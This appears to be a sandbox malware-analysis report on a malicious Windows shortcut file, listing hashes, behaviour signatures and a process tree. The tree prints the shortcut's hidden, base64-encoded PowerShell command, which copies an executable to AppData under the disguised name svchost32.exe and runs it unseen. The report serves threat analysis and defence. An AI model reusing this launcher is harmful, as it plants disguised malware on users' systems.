b342775e37ea0ee5526f4847a15ee8df032145089aa92dc5e145f11d4cadec14

Analysis

max time kernel
38s
max time network
32s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260629-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260629-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
02/07/2026, 10:27

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
b342775e37ea0ee5526f4847a15ee8df032145089aa92dc5e145f11d4cadec14.lnk
Size 3KB
Sample260702-mg8smsf12v
SHA256 b342775e37ea0ee5526f4847a15ee8df032145089aa92dc5e145f11d4cadec14
MD5 0859ca27ef83755afc7a3f6001329810
SHA1 4cf5aa11ca47c1fc775a7d99136f79292b2327f0
SHA512 33848626a9bb21edad0e03a0d1e8e8457447dc3610e010f81060e7e6fdb4b55c7b8b432b05cf7821ac2fdc1d24274f89b14bc9fcd1d25a393ebdb6b0521c52dc
TLSH
T1FB519D201FE726D4D5764B7567E8B2B64E71F860D91E67F9104086449BB0B80DC64F3F
MD5 SHA1 SHA512 TLSH

Score

3^/10

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3480	powershell.exe
3480	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3480	powershell.exe

Suspicious use of WriteProcessMemory 1 IoCs

description	pid	Process	procid_target
PID 1676 wrote to memory of 3480	1676	cmd.exe	90

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\b342775e37ea0ee5526f4847a15ee8df032145089aa92dc5e145f11d4cadec14.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:1676
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w h -enc WwBJAE8ALgBEAHIAaQB2AGUASQBuAGYAbwBdADoAOgBHAGUAdABEAHIAaQB2AGUAcwAoACkAfAAlAHsAJABwAD0AJABfAC4ATgBhAG0AZQArACcAcwAzAC0AdQBwAGwAbwBhAGQAZQByAC4AZQB4AGUAJwA7AGkAZgAoAFQAZQBzAHQALQBQAGEAdABoACAAJABwACkAewAkAGQAPQAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQArACcAXABNAGkAYwByAG8AcwBvAGYAdABcAHMAdgBjAGgAbwBzAHQAMwAyAC4AZQB4AGUAJwA7AEMAbwBwAHkALQBJAHQAZQBtACAAJABwACAAJABkACAALQBGAG8AcgBjAGUAOwBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAJABkACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgA7AGIAcgBlAGEAawB9AH0A
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3480

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/3480-2-0x00007FFD04AEF000-0x00007FFD04AF0000-memory.dmp

Download

memory/3480-5-0x000001D365E10000-0x000001D365E32000-memory.dmp

Download

memory/3480-6-0x00007FFD04960000-0x00007FFD05304000-memory.dmp

Download

memory/3480-7-0x00007FFD04960000-0x00007FFD05304000-memory.dmp

Download

memory/3480-8-0x00007FFD04960000-0x00007FFD05304000-memory.dmp

Download

memory/3480-9-0x00007FFD04960000-0x00007FFD05304000-memory.dmp

Download

memory/3480-11-0x00007FFD04960000-0x00007FFD05304000-memory.dmp

Download

memory/3480-12-0x00007FFD04960000-0x00007FFD05304000-memory.dmp

Download